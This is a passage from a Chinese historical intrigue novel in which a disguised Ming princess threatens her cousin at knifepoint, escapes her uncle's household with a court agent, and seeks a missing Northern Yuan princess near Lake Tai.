周锦桃瑟瑟发抖,心道朱樱现在的模样,怕是比女鬼更令人心肝发颤,偏偏自己全身没有半点力气,似魇住了一般,挪不开半寸。
“我有几句话想问大姐姐,大姐姐可不要骗我。”朱樱略俯下身,盯着周锦桃的眼睛,轻声问道,“大姐姐昨日,是不是去寻二舅舅了?”
“是……又怎
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样?”周锦桃看着她琥珀色的眼睛,烛影之下,那眼中似有金屑闪烁,在周锦桃看来极像某种危险的动物。
“大姐姐同二舅舅说了什么?”朱樱始终问得不疾不徐,语声轻柔。
“是、我就是见二妹妹顽皮,向叔父面前提醒一句,好妹妹,你千万别告诉二妹妹去。”周锦桃赔笑道。
朱樱眉头微蹙,略一抬眼,笑道:“是么?我却不信。”
周锦桃忙道:“千真万确,我……我可以赌咒……”
朱樱摇头,一抬手,一柄短匕从袖内滑出,刀柄重重砸在绣花被面上。
周锦桃只觉身上一重,不知何物,吓得僵住。
“赌咒就不必了。”朱樱捏起短匕,凑到周锦桃面前,“大姐姐,夏夜还是有些凉的,我手冷,拈不住刀,若是不小心划伤了姐姐,可不要怨我。”
冰凉的刀刃在周锦桃面颊上划过,最后压在周锦桃颈上,压在咽喉两侧微微跳动的脉搏上。
“好、好妹妹……”周锦桃不争气地滚下泪,每说一个字,压在咽喉上的冰凉匕首都轻轻抖动一下,似乎随时会一滑,割破她的喉咙。
“我、我其实是去寻二叔,告诉他……妹妹身边有个武功高强的郎君,怕不是……怕不是……”周锦桃抖得厉害,匕首锋利的刃口不时划过她的下颌,刮出几道细细的血痕,一阵锐痛,带着声音也颤起来,“我怕那郎君与妹妹有什么不干净,才去向叔父说的。我错了,真错了,妹妹一向葳蕤自守,我、我委实不该如此妄加揣测。”
周锦桃一边说一边滚泪,将耳边的碎发和枕头尽数沾湿,哽哽咽咽说了好半日,看起来情真意切。
“……大姐姐就这么不肯说实话么?”朱樱摇了摇头,轻轻拈起匕首,锐利的刀尖抵在周锦桃颌下,“姐姐不愿意说实话,索性往后都不要说话了罢?”
她说罢,指尖用力,刀尖刺破皮肤,迸出一串血珠。
“啊!”周锦桃痛得尖叫,“不、不要杀我!我说实话!颜妹妹!我真的说实话!”
“你说吧,我自不会杀你。”朱樱冷淡答道,手下的匕首却不停,沿着脖颈的中线一路滑下,挑破薄薄的皮肤。
“我……我昨日听见那个罗真向妹妹说道,她的蒙古名字唤作乌莹……”周锦桃哭得一塌糊涂,倒豆子一般将话说出来,“是、叔父吩咐过我,多向人打听那罗真姐弟的事情,我听得了这件事,才去寻叔父的!真的、真的!这回是真的!”
朱樱撤开匕首,静静看她一刻,从袖中取出一个小药瓶,将药粉洒在她的伤口上。
周锦桃只觉伤口一阵发热,愈发地痛,迷蒙中见朱樱已提灯起身,心中一松,晕了过去。
朱樱缓步走出院落,一抬眼,见王献正站在院门的阴影下,面色阴冷。
“你果然在这里。”王献拽住她的手腕,见她手中拿着一柄滴血的匕首,皱了皱眉,“长安公主已一日未回西山,也无音信,恐是梁王抢先一步。姑苏不太平,你先随我走。”
“那苏图呢?”朱樱随他快步在游廊内穿行。
将要穿过藤花架时,迎面闯来一道摇曳的火光,伴着一个少女足以惊醒熟睡的人的尖叫声,随后,那少女手中的灯笼跌落在地,灯罩沾火即着,霎时蔓延成熊熊一片。
19. 第十九章 清算
火光映亮回廊,回廊上雕花的影子随着火光摇动,栩栩如生。
白篱捂着嘴,一脸惊慌地看着跌损的灯笼在石砖上燃烧。
“姑娘、姑娘怎会在这里?”白篱愣一下,接着手忙脚乱去扑火。
她身后走出一人,一身箭袖胡服,健步如飞。
“二、二老爷……”白篱颤抖着唤了一声,“我不知道、姑娘会在这里。”
周家二老爷周云钊约莫四十岁上下,年轻时和兄长跟着父亲周老太爷打过不少仗,常被人品评说阵上不及兄长骁勇。周老太爷和兄长相继死后,周云钊看看大势已去,便带着家眷渡江躲到姑苏,从此做起良民。
像周云钊这样的人很多,官府自然也隐约知道他们,只是见他们平素过得安分守己,并无异动,便睁一只眼闭一只眼,当做不知。到周钰这一辈,甚至能够做些地方上的小吏。
过去,王献对于周云钊并没有过多的关注。
但如今,长安公主在离开周宅的途中不知所踪,作为前朝旧臣的周云钊恐怕不能再置身事外。
白篱扑灭火光,冲到朱樱面前,眼眶通红,下睑处的一线泪水将落未落,嗫嚅道:“姑娘、还有王大人,你们……你们……怎会在这里……?”
“我出来寻桃表姊说说闲话。”朱樱瞥她一眼,将匕首背在身后,“出来的时候,恰好遇到王大人来寻我。”
白篱紧紧攥住朱樱手腕,手抖到不成样子,带着声音一起颤抖道:“姑娘方才要我去寻二老爷,恰、恰好二老爷也有事情要与姑娘说,所、所以就一起来……”
但在这样的深夜,舅舅来找外甥女儿说话,听起来怕是不能让人信服。
说话间,临近的院落都亮起了灯盏,四下树影后,数十人在夜色中半隐半现。
周云钊笑道:“我的好外甥女,如今做了公主,连这家里也要三请四请才愿意回,这几月来舅舅还未与你好好说说话,叙叙旧,少不得要留你下来秉烛长谈。”
“二老爷!”白篱抱着朱樱的手臂,侧身挡在她面前,急道,“二老爷从前分明说,不会对姑娘怎样的!”
周云钊低下头嗤嗤笑两声,双肩颤抖得厉害,似乎很难忍住笑声,末了越笑越响,响彻整个庭院。
周锦蘅尚未睡下,听到外面的动静越闹越大,偷偷摸出院子,想要开门看个究竟。
“二姑娘,使不得。”闻声走出的院子的大丫鬟绿茗拉住她,连连摆手,压低声道,“太太不也说了吗?老爷的事,姑娘千万别管。”
“好嘛,好嘛,我不管。”周锦蘅扁扁嘴,听话地往回走。
丫鬟才松口气,走在前面的周锦蘅忽地往石榴树影里一钻。
“哎!姑娘!”绿茗不敢高声,跟着周锦蘅跑进石榴树丛中,却不如周锦蘅认得路径,追不多时便迷了道路。
有了周云钊授意,周府的护院们迅速聚集过来,戒备地看着王献。
朱樱扫一眼四周,她素来不喜周云钊为人,知道他未怀好意,也懒得好声好气说话,“皇上准我回姑苏居住,命仪鸾司的大人随行护卫,也是寻常的事,舅舅何必如此紧张?莫不是真有什么见不得光的事情?”
“仪鸾司?哈哈哈,我倒只晓得大宋仪鸾司是做什么的。至于你们……”周云钊望着王献,“不过是当今皇帝的亲随佞幸,四处揪朝臣错处罢了。我们这些平头百姓人微言轻,一旦遇上了可不敢强辩,岂非死无葬身之地?”
周云钊打个哈哈,“这位副使大人夜探周宅,不知究竟是寻阿颜,还是要给我添上什么罪名,我怎敢不防?且阿颜如今做了大明的公主,心也偏得远了。”
“不过……”周云钊摸了摸下巴,笑道,“这里是周宅,要罗织什么罪状,两位可先得有本事出去。”
白篱打个哆嗦,在朱樱身后轻轻拉扯着她的衣袖,哭道,“姑娘……姑娘快向二老爷认个错啊……”
朱樱轻轻抚摩着少女哭红的面颊,低声叹息,“别人要杀你的话,认错就有用了么?”
朱樱抬眼,看向周云钊,“二舅舅既派白篱在我身边传递消息,这些年我所作所为只怕你比亲眼瞧见的还清楚,那么,大舅母常来我这里闹时,怎不见您为我说半句话?原来也不过是怕女人的废物吗?”
她一直以为白篱身后的是二太太蔺氏,也是近些日子才发现原来是周云钊。
“姑娘……不是的,白篱……白篱没有。”白篱双手掩面。
她只是害怕、只是害怕姑娘在周家受欺负,当初才、才……答应周云钊将朱樱的日常举动尽数上报的。
王献冷眼看着周云钊,横手将短匕挡在身前,拉起朱樱,“走。在这里逞口舌之利,并无用处。”
周云钊抬起手,“的确,多说无益。别让他们走脱了。”
护院们正要逼近,远处响起妇人尖锐的呼救声。
周云钊皱起眉,“去个人看看,大太太又怎了。”
话音未落,杨氏如一个巨大的四喜肉圆一般,从回廊的那头,飞快地冲到这一头。
“二老爷!快!快去找人救我的小桃!”杨氏怀里抱着周锦桃,衣襟上溅了几点血,泪顺着比满月还圆润的下巴,啪嗒啪嗒滴在周锦桃的额头上,哭声凄厉如啼血的杜鹃鸟,“我的儿!你看看,浑身都是血!有人要杀她!”
周云钊揉揉额角,冷厉的目光一扫周围迟疑不动的护院,喝道:“还愣着干什么?!拦住他们。”
“二老爷!”杨氏一把拽住周云钊,“你倒是看看我的儿啊!莫不是你大哥死了,你就这样对待我们孤儿寡母?你须知道,小桃她可是姓周的!哎呀,我的夫君,你再睁开眼看看啊!这周家容不得我们娘仨,你怎么就这么撒手去了呢,留着我们被人欺负?啊啊啊,这日子没法过了!我还是随你一起去吧!”
“去,去,去,大半夜哭什么丧?!”周云钊一把甩开杨氏,瞪着朱樱,“是你?!”
朱樱轻轻笑了笑,她离开之际特意解去了一个丫鬟的迷药,将她推醒,为的就是引来杨氏,搅浑周府的水。
“是你!”杨氏回过头,这才看见了朱樱,登时拉下脸,将周锦桃倚着栏杆,捋起袖管,一把推开周围的护院,“我早该想到!你恨我们娘仨!我今儿不掐死你这个小妖精,还留着你明日再来害我们?!”
“大舅母急什么,大姐姐可没死呢,还是求医更要紧。”朱樱一笑,侧身避开。
圆滚滚的杨氏劲头过猛,和站在一旁不知所措的白篱撞在一起,摔在阶下。
王献趁乱打落一名护院的刀,夺了过来,带着朱樱闪进花木葱茏处。
杨氏“唉哟”叫唤着坐起身,白篱还倒在她一双腿上。
“死蹄子!这么沉,压死你奶奶了!还不快滚!”杨氏骂骂咧咧地推开白篱。
白篱被推得仰面,脸上尽是血迹。
“啊!”杨氏惨
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叫着,双腿推着肥胖的身子直往廊中退,“她、她这是……死了?!”
一柄带血的匕首从她身上“叮当”一声落在石阶上,溅起一滩血珠。
“怎么回事?”周云钊赶到阶前,见白篱满脸是血,大约是昏死过去了,朱樱和王献已趁乱走了,气得直跳脚,“快给我去搜!颜丫头要活的,那个仪鸾司的,拦不住就杀了!快去!否则阖府上下谁也别想活命!”
杨氏抖着手捡起地上的匕首,颤得满身肥肉仿佛流动的水波,扭身一把抱住周云钊双腿,“二老爷啊!你要为妾身作证啊!人不是我杀的,真不是我杀的!”
周云钊气到吐血,对着一干护院吹胡子瞪眼:“看什么看?没见过泼妇?!”
蔺氏早被嘈杂声吵醒,安安静静地坐在佛堂内,闭目诵经。
丫鬟捧了茶进来,附在蔺氏耳边低语几句。
蔺氏缓缓点头,唇角微弯,“是么?老爷被杨氏缠住了。这回可教他知道我的难处了,那泼妇有多难缠,我倒要看看他怎么打发。”
丫鬟也抿唇一笑,又道:“起初三姑娘开了院门看热闹,这会儿表姑娘不见了,三姑娘得了胆,也帮着大太太闹呢。独二姑娘的院子静悄悄的。”
蔺氏念一声佛,欣然道:“我的蘅儿,果然是最乖巧的。”
蔺氏可不知道,她心目中顶顶乖巧的周锦蘅,此刻正猫着腰,循声在周宅的花园里摸索。
兵刃相交的声音在东南方向,那里有花园的角门,出了那道门,是平江河,穿过平江河再向南走两条街道,便是苏州府的衙门。
“颜姐姐,我来帮你啦。”周锦蘅捡起一块拳头大的石块,在手里掂了掂,用尽力气往水池中砸去。
顽石入水,溅起半尺高的水花。正四下搜寻朱樱和王献的护院被这声音吸引,齐齐冲到水池附近。
周锦蘅急忙往后躲开,捏着拳暗暗擦一把汗,扒着灌木之间的空隙,远远望向角门,“颜姐姐,你可要加油啊。”
一回头,身后一道白影。
“啊……”周锦蘅忙捂住自己的嘴,定了定神,看清站在墙角的是一个穿白衣的郎君。
“你这是在帮阿颜?”那郎君悄无声息地走近。
周锦蘅点了点头,“你也是来帮颜姐姐的?她要出东南边的角门。”
“小姑娘,你回去吧,我来引开他们。”那郎君并不回答周锦蘅的话,转身跃出树丛。
白影在黑夜中尤为醒目,护院们眼睁睁地看着府中又闯入一人,一时拿不定主意先追哪一边。
朱樱和王献走至角门前,守门的小厮半梦半醒间抬起头,认出是朱樱,忙起身问好:“表姑娘,这么夜了,要出府吗?”
“大姐姐得了急病,如今少一味药,我去药铺里问问。”朱樱竖起一根手指放在唇前,“不是什么要命的病,只是痛得很,你开门时轻一些,莫吓着不相干的人,也别与旁人说起,若知道我们姑娘家夜里出去,二舅舅少不得怪罪。”
朱樱在府中待人亲切,小厮不疑有他,很乐意帮上忙,立刻将角门开启一线。
朱樱和王献走上街道,透过将要关闭的小门看向府中。
护院们追着那道白色的身影,在水池边被耍的团团转。
王献冷哼一声,他昨日追了半日还追丢了的,只怕就是那人。
那人特意赶来周宅,为他们引开护院,助他们逃离,不知究竟是敌是友。
20. 第二十章 匡救
天色微明,平江河的尽头,天空像被剪开了一道口子,漏出一线又一线光芒,细小的光点在水面上粼粼跳跃。
垂柳在晨雾中舒展开绿叶,河水中游鱼追着飘落在水面上的柳叶接喋不休。
朱樱斜斜倚坐在窗格内,一身干净的淡紫色夏衫,轻薄的衣带随风掠出窗口,与柳条交缠,昨夜沾了血的衣衫杂乱地堆在屋角。
“你派人去周宅了么?”朱樱回过头,看向书案前捏着一片小笺子仔细翻看的王献。
昨夜离开周宅后,王献将她先行送至花坊,独自前往苏州府,调了几人在花坊附近巡守。
至四更时分,一支短箭飞入窗格,送来一页短笺,告诉她那苏图尚在西山。
五更天明,王献自苏州府回来,面色不善。
“不需人去,我们离开周宅后一刻,杨氏的小女儿已至官府报案。”王献随口答道,目光胶着笺子不动,企图从那几个潦草的字迹上看出是谁的笔迹。
朱樱一翻手腕,挽着掠进窗口的一枝柳条,指尖一颗颗触过上面的露珠,露水顺着她的手指滑落,落在窗台上。
“锦李妹妹行事依然如此莽撞,果然没有令我失望。”她未施胭脂的唇很淡,与春樱的颜色相仿,笑起来时很柔和,眼中神色却不是一般的冰冷,“……白篱她,不该如此。”
去往应天府的前夕,她分明告诉过白篱,她不希望白篱再为周云钊做事——不过,那也不怪白篱。
像她那样和小兔子一样乖的女孩子,就算不想为周云钊卖命了,又怎么能找到逃开的方法呢?
“苏州府接下这个案子,现下认定,丫鬟白篱划伤周锦桃,致周锦桃昏迷不醒,杨氏为此找白篱理论,谈话之间,杨氏暴起刺死白篱,凶器就是杨氏身边掉落的匕首。”王献去看朱樱的反应。
朱樱挑了挑眉,神情平淡,“白篱划伤周锦桃吗?所以她们两个,都醒了么?”
“不曾。”王献若有所思地看着面前的女郎。
他可以肯定划伤周锦桃的人是朱樱,昨夜匆匆一瞥,周锦桃脖子上伤口狭长而浅,狰狞可怖,但面色尚好,想必朱樱并没有下狠手。而白篱是如何倒下去的,却连他也没有看清。
他只能确定,朱樱有心置白篱于死地,而且她并不打算为自己的所作所为做出解释。
朱樱垂下眼睫,背倚窗格,一只红蜻蜓飞来,在她肩头一点。
“可是……”她皱起眉,“苏芥他……?”
这件事,是不是与他有关?
王献不语,他始终认为苏芥来到姑苏,为的是朱樱,未曾想过他是否……另有目的。
朱樱起身,白玉的短笛握在掌心,“我去一趟西山。”
周宅,衙役进进出出,周钰告了一天的假,一遍又一遍陪着官署的人查看现场,只觉脸上的笑容都要冻结了。
周云钊只在早间露过面,随后匆匆出门,未曾回来。
“官爷,这丫鬟真不是我杀的!官爷明鉴。”杨氏追着一名衙役哭天抢地,“我家闺女都成这样了,我这个做娘的哪有心思想别的,肯定先去请大夫啊!”
“这丫鬟还不曾死,我们也没就说是你杀的,你闹什么?”文书没好气地写着记录。
周府长房长女周锦桃,咽喉纵伤,长约两寸,深未及四分之一寸,略伤气管而已,报官时已敷理伤药粉,未流血,目前伤口转好,无性命之忧。然周锦桃今苏醒后不能言语,不知因受惊,或伤及声带之故。
周府二等丫鬟白篱,身无锐伤,耳鼻多有血迹,验眼瞳、唇脉及爪甲,是中毒之征,应不致死,但难解,不知何物。至今未醒,恐日久有虞。
现场有带血匕首一枚。
衙役皱眉,这个杨氏在耳边“嗡嗡嗡”地吵嚷仿佛苍蝇一般烦人,搅得他没法好好思考,总觉得漏掉了什么重要的线索。
不过……上头吩咐了,此案只需记录,不必详查,到时自有人前来销案。
衙役记录完毕,抬起头望着周钰,脸上带着公事公办的微笑:“现场已记录完备,若无新的证词,某就先回官署了。”
“多谢。”周钰礼貌地还了一礼。
杨氏搂着周锦李坐在阶下吊着嗓子哭,“哎呀,我苦命的儿!家里都不管你了!”
周锦桃苏醒之后满是恐惧,又说不出半句话,只得躺在床上听着杨氏的哭号声默默垂泪。
蔺氏推说着了风,卧病在床,甩手不管杨氏。偌大的一个周宅,被杨氏哭得鸡飞狗跳。
周钰送衙役出府,不堪其扰地揉揉胀痛的额角,向衙役讪讪笑道:“家中伯母性子不好,教同僚们看笑话了。”
衙役们赔笑,“做娘的担忧儿女们,也是常有的。往日我们衙门里那些妇人,哭得闹得比这更厉害的多着去呢。”
“哈、哈,到底我这伯母也是读书人家出身的,自不会如那些乡野蠢妇一般……”周钰越说越轻,自己都有些底气不足,末了尴尬一笑,目送衙役们离开。
“呼……我爹把这摊子甩手给我,娘也装病不管事。”周钰向守门的小厮感叹,“你说,我怕不是他们当年逃难的时候捡来的吧?”
“这是我们爷大了,老爷太太放心,才把事情都交给您做。”小厮笑嘻嘻地道。
周钰无奈摇头。
刚转身进去,外面又报:“少爷,前日来过的那位苏药师求见。”
“快请进来,我们家里有两个病人呢。”周钰眼睛一亮,随即又挂上愁容。
苏芥与朱樱早有婚约,这一点他是很清楚的,且听蔺氏说起他们幼时似乎已经拜过堂的,如今朱樱不知所踪,朱樱的丫鬟又昏迷不醒,这叫他怎么说,又让人家怎么想?
苏芥仍是一身深青色衣袍,肩头绣着大片狭长的绿叶,面上带着柔和的笑意,使人一见如沐春风。
周钰忙作一礼,决定先声夺人,说出苦衷:“阿颜不知去了何处,我们派人寻了半夜,也未曾寻到……”
“我来此并非寻阿颜。”苏芥摇头,“只是听闻府上有人为药毒所伤,因此前来救治。”
“啊?哦哦哦……”周钰被天上掉的大馅饼砸的有些不知所措,忙引着苏芥穿过庭院,“那丫
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鬟在这里,请随我来。”
白篱被安置在佛堂旁,小屋逼仄,里面熏着香,冲淡了原本残留的血腥气味。
“这丫鬟,昨日与大太太争了几句,不知怎地,就……成这样了。”周钰站在门槛外远远瞄了一眼。
白篱直挺挺地躺在床上,身边并无一人照顾,脸上的血迹倒已擦净了,只是唇角还不时渗出血来。
可怜。
周钰在心中道。
但他并不想把这种怜悯付诸实践。
苏芥抬步,不疾不徐地跨过门槛。
周钰驻足不前,心中觉得为医者的形象委实高大——换作他,可不愿意接近一个神志昏糊、满身血腥气的人,多晦气啊。
苏芥细心地擦去白篱唇角的血迹,查看过白篱的指甲和眼瞳,又低头摸索了一会儿,末了皱眉,轻声叹息:“阿颜,何至于此?”
周钰看着苏芥袖着手走出来,云淡风轻地说了一句“不妨事”,愣了足足半刻,才回过神。
“苏药师!”周钰急忙去追,“这样……就好了吗?”
好像什么也没做嘛?周钰一脸困惑,似乎给白篱喂了一颗药丸?还是刺了针?仔细想想又好像都没有。
周钰觉得医术真的很神奇。
“不是什么剧毒,因此不妨事,给她喂些糖水便可,半日会苏醒。”苏芥温和地道。
“哦……”周钰懵懵点头,“那我妹妹,她……”
“我知道阿颜在何处,不必府上费心。”苏芥又道。
“啊?这就好,这就好。我送送你,往后可是一家人呢。”周钰连连傻笑,心想世上怎会有如此善解人意的人。
走至影壁后,杨氏从穿堂中一路追来,仿佛翻滚的大汤圆,一直撞上了大理石影壁才停下来。
“苏药师!”杨氏气喘吁吁地道,“是我啊!你之前治好了我脸上的疔子,还记得吗?哎呀,可真是药到病除,第二日就好了。你听我说,我那大闺女如今说不出话来了,定和我上次一般,是阿颜那小蹄子搞的鬼。快帮她去治治!哎呀,像花一样的年纪忽忽地说不了话,真是可怜。”
杨氏一边说,一边抹泪,没几滴眼泪,抹泪的动作倒是夸张得很,恨不得把帕子甩到周钰的脸上。
周钰讪讪笑着,试探地问道:“也是,家中大妹妹也有些不大好,我忙昏了头,竟把这件事忘了。苏药师不忙的话……也帮大妹妹看一看?”
“令嫒不能出声,是因惊吓,并非药物或外伤所致。”苏芥温和地向杨氏致歉,“小侄学艺不精,心病治不了。”
不待杨氏回过神,苏芥已转身离去。
“哎?凭什么白篱那小蹄子病的快死了,你一看她又活了?!”杨氏追到府外,高声道,“我闺女些许小病都治不好,你怎么学的啊?!”
“我的大太太,苏药师可是苏老神医的大弟子,苏老神医可是当初为皇上治过病的。”周钰忙将杨氏拉进来,赔着笑好声好气地劝,“大太太不要急,苏药师也说了,妹妹这是被吓着了。先将养些日子,等心里不怕了,自然就好了。”
21. 第二十一章 折子戏
辰时,朱樱和王献来到太湖渡口。
阔大的湖面看不到边际,水面反射着粼粼波光,岸边苇草连天,翠色摇曳。
船娘是个年轻女子,肤色晒得微黑,长发用一根青色布带编成麻花辫,垂在胸前。她唱着船歌,一点竹篙,如一叶漂浮的树叶,漂至渡口。
“两位,要去何处?”
“西山。”王献目光看着远处山峦在水面上的倒影,冷淡地道。
“西山?这个时节,西山上的梅花可不会开。”船娘调皮一笑,嘴角浮现一个酒窝,“这位漂亮的娘子也是去西山吗?”
朱樱点头,微微一笑:“是。”
船娘搬来一个小椅子,稳稳放在船舱内,笑道:“我看娘子眉间有倦色,来坐在这里,稳一些,不然这小船撑起来会有些头晕。”
朱樱再一笑,“多谢你。”
王献抱臂站在船头,黑色的衣带随风拂过,在风中乱舞。
朱樱倚着船舷,阖上眼略休息一会儿。
不多时,船娘轻快的声音从头顶传来:“这位郎君,扶一下同船的那位娘子。我们靠岸了,船有些摇,小心。”
朱樱睁开眼。
阔大的太湖环绕身边,满目粼粼波光,闪动不休,仿佛天地间都是金色的。
王献向她伸出手,低声道:“小心,这附近有不少人。把那支玉笛拿出来吧。”
将船撑远的船娘惊讶地回望西山的渡口,食指点在嘴角的酒窝上,摇了摇头。
她常在这一带撑船,也听老人说起,西山上住着一位大才子,身边带一双碧蓝眼瞳的姐弟。他们在这里避世而居,几乎从没客人。
朱樱摊开手,白玉的短笛在掌心泛着温润的光彩,金黄色的流苏上阳光摇动,闪烁不休。
笛音并不尖锐,但足以穿过连绵的苇草,传到半山。
一叶小舟从苇草之间如箭飞出,船上一个暗青胡服的女郎,头戴帷帽,一手撑着竹篙,另一只手中拿着一架小弩。
小舟在渡口靠岸,女郎揭下面前的轻纱,倨傲地打量王献一眼,转向朱樱,看着她手中的玉笛,道:“这位娘子既然有我们家娘子的信物,可知她人在何处?”
朱樱摇头:“正因不知,因此来访。”
胡服女郎冷哼一声,咄咄问道:“这位郎君怕是皇帝跟前的人吧?娘子为何带他前来?”
“乌莹姐姐并非仪鸾司所劫。”朱樱攥紧玉笛,看向胡服女郎,“仪鸾司可以助你们寻到乌莹姐姐,皇上并没有加害长安公主的意思。”
胡服女郎低头,姣好的面容转为凝重,末了点头:“你们先上船。我们小郎君会做决定。”
小船停在西山背阴处蒲草茂盛的渡口。
一身天青色衣衫的少年背向水面立在渡口,目光远远望着岸上的草木。
“那苏图!”朱樱跳上岸。
那苏图转过身,神色憔悴,他望着朱樱,动了动唇,声音几不可闻。
朱樱走得更近,听到他喃喃低语:“我该和姐姐一起去的……”
“你若和她一起去,可就更麻烦了。”朱樱握住他的肩头摇了摇,“那苏图,现在自责也没有用,我们一起找乌莹姐姐。”
“我……”少年握紧拳,目光停留在王献身上,问道,“那位就是仪鸾司的副使大人吗?”
他能够感到,那个人的身上散发着阴冷的气息,令人惧怕。
而这个可怕的人,大概正是为他而来的。
王献走上渡口,取出一份文书,双手呈到那苏图面前:“北元的殿下,这是大明的皇上托付我转交给您的。请早作决定。”
那苏图郑重接过,沉吟片刻,问道:“如果我答应了,你们会去找姐姐吗?你们要找的人不是她,而是我,如果找到她,将她送去一个旁人找不到的地方……”
王献甚是嫌弃少年人的患得患失,道:“先看过信,再谈条件也不迟。”
少年明澈的眼眸变得坚定,“不必看。信中所说,我悉数接受,只需要大明的皇帝向我保证,不要伤害我姐姐。”
“那苏图!”朱樱向他手中撕开蜡封,皱眉道,“先仔细看过了,再说这些大话。”
王献点头:“我给你一日的时间好好考虑。”
心不甘情不愿、或是一时兴起的傀儡,皇帝都不需要。
“小郎君……”胡服女郎皱眉看着那苏图,摇头,“娘子说过什么,你忘了么?”
“我知道了,我会好好想的。”那苏图摆了摆手,“阔阔真,你先送他们回太湖渡口。”
阔阔真低头,“是。”
午后,王献前往苏州府处理事务,朱樱则到了德兴班的戏园内。
“姑娘今日怎么一个人来了?”刘大成亲自端上来茶水和点心,满脸都是笑,“姑娘不去雅阁中坐吗?怎么同这些穷苦人坐在一起,岂不吵闹?”
戏台下的散座,多是庄稼人和小贩偶尔有了富余来听戏散心时所坐。那些有身份的人,都喜欢包一个雅阁,就这流淌的水声来听悠扬的戏腔,别有风味。
“白篱病了,在家中养病。”朱樱抬眸,揉了揉额角,“刘班主,烦你遣个乖觉的小厮,去周府打听打听,白篱她现在如何?”
也该毒发了吧……?也好,死了,便逃开了,谁也抓不到。
朱樱看着戏台上飘舞的水袖,眼前迷蒙。
“姑娘、姑娘!”半个时辰后,刘大成回到戏台下,见朱樱斜斜撑在小案上,眼睛微闭,似乎已睡着了。
“如何?”朱樱坐正身子,昨夜几乎未睡,方才又在太湖上吹了风,这会儿头痛得像要裂开,连声音都有些发颤。
刘大成却以为她是悲痛所致,欣然答道:“姑娘放心,我遣小厮去打听过了,那位白篱姑娘已被人治好了,似乎已经醒过来了,想来好好养几日就可痊愈。”
“……怎么、可能?”朱樱起身,心中一恍惚,下意识转身向外走。
“姑娘去何处?”刘大成见她身子微晃,劝道,“姑娘脸色不好,不如我遣个懂事的孩子陪姑娘一道?”
“班主!”一个小厮连蹦带跳地跑过来,一把拽住刘大成的衣袖,将他拉到半弯着腰,道,“班主!有一位俊俏郎君说要寻高
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昌公主!”
周围看戏的人齐刷刷地转过头,看了刘大成和小厮足足一刻,然后齐声哄笑起来:“后生,你看那戏台上穿紫衣的不就是高昌公主吗?听迷了话,也拿来浑说。”
刘大成笑着给了小厮一个爆栗,“去去去,真是的,这些事情也拿来浑说。那些公主殿下金枝玉叶,怎会来我们这种地方。”
朱樱面色微白,扶着小案,望着戏台上手持短匕,于万千人中行刺元帝的紫衣女郎,一言不发。
苏芥走进戏园,就看见独自站在戏台下的朱樱,一身藤花颜色的夏衫,于人群中摇摇欲坠。
“哎,这位郎君……”小厮认出了害他出丑的人,追上苏芥,“我都跟你说了,我们这是戏园子!哪会有什么公主?”
他向着戏台上努努嘴,道:“你看,那戏台上演的才是高昌公主。”
“我要的,正是这一位。”苏芥向他笑了笑,径自走向朱樱。
刘大成目瞪口呆地看着他走到朱樱面前,含笑一礼,耳边听到他分明说道:“殿下躲到了这里,叫我好找。”
“你……”朱樱蹙眉,面色惨白。
苏芥当着这么多人的叫破她的身份,她还怎么继续在姑苏待下去?难道就这么回应天府?可是她既没来得及和弦月说上话,也没寻到乌莹。
朱樱越想越气,扬起手,“苏芥,你多管什么闲事?!”
苏芥扣住她的手腕,顺势将她拉进怀里抱起,柔声道:“你累了,随我回去。”
“放手!”朱樱气得额角更疼,实在没力气挣扎,轻声恨道,“你放开我。”
“好好好,放开你,但你得跟我走。”苏芥在她额角一点,“阿颜,听话一些。都这么累了还强撑么?”
“忆桵姑娘……”刘大成回过神,手足无措,“不不不,您真的是殿下吗?”
“是。”朱樱整理一下鬓边的乱发,侧头看了看苏芥,心知苏芥不会放她走,便向刘大成道,“我乃皇十女高昌,烦刘班主往苏州府,寻仪鸾司副使王献,告知我的行踪。”
刘大成点头如捣蒜,“小的不知是殿下降临,此前多有……”
“是我隐瞒身份,与你无涉。”
朱樱与苏芥走出戏园。
“乌莹的下落,你不必担心。”苏芥揽着她,沿着平江河堤慢慢走过。
垂柳绵绵,水波粼粼。他们又越过时空重逢,携手走在江南水乡的石板路上。
栏杆旁停着小车,驾车人打扮光鲜,样貌俊俏,一双眼似会说话。
朱樱瞥一眼,挑帘子钻进车内,向苏芥轻声道:“要去哪里?我不喜欢那个驾车人。”
“放心。”苏芥从车中提起一个食盒,盒内摆着一碗尚温的药汤,“阿颜,听话,把这药喝了。”
“我不要。”朱樱往后退一些,紧贴着车壁,车轮轧过石砖的起伏传到她背上。
“我保证,一点也不苦。”苏芥向她笑了笑,“你昨夜睡得少,方才又吹了风,也该去去寒气,免得病了。”
朱樱瞬也不瞬地望着他,“我去了哪里,你怎这么清楚?”
22. 第二十二章 上弦之月
第22章上弦之月
王献看着苏州府衙的小吏带来一个富态的中年男子,皱了一下眉头。
刘大成忙深深一揖,“大人,小的是德兴班的班主刘大成。”
“我知道。”王献扫他一眼,仍旧低下头去看案头堆的文书。
从应天府到姑苏时同路而行,朱樱还曾与刘大成攀谈,他若连这都记不得,还怎么在仪鸾司副使的位子上混饭吃?
刘大成颇有点受宠若惊的模样,哈着腰,又道:“小的眼拙,不曾看出与大人同行的那位娘子,乃是当朝十公主……”
王献将文书拍在案上,吓得身旁的小吏一抖。
“她与你说,她是公主?”王献猛地起身,冷冷盯着刘大成。
“是、是啊……不不不……”刘大成管戏班子出身,平日喜欢搜集那些野史秘事,自然也听人说过新皇帝顶顶小心眼,不喜旁人搬弄他家是非,有不少官员便因多嘴被这些近臣们暗地里整得家破人亡,想来他这等贱籍,在仪鸾司眼中更不过捏死蚊子一般,吓得“噗通”一下跪在书案前。
王献不耐烦,“怕什么?起来把话说清楚。”
扫一眼身旁面色发白的小吏,王献暗暗摇头。
也是,这朝廷内外,有见了他们怕到发抖的,也有表面上一团和气,心里暗暗犯怵的,就是左丞相那般胆大包天、妄图谋反的,也免不了赶着他们问长问短,可见心里仍是忌惮。
“大、大人……”刘大成偷偷仰起脸,见王献面色尚可,大着胆子道,“小的跪着说就行了,小的不累。”
“是有位郎君来我的戏园子,说要寻高昌公主,我们起初还以为他是来听那出新排的戏,说混了。”刘大成缓一口气,语言渐渐流畅起来,这才有了一点戏班班主的样子,续道,“谁知那位郎君说……忆桵姑娘就是公主殿下,姑娘应下了。”
王献再皱起眉,问道:“那郎君可是唤作‘苏芥’?”
“是是是,小的听殿下便是这么唤的。”刘大成连连点头。
“那高昌她如今去了何处?”王献坐回书案后,将方才翻看过的文书一一收起,只拣出一封袖进袖内,其余的压在砚台下。
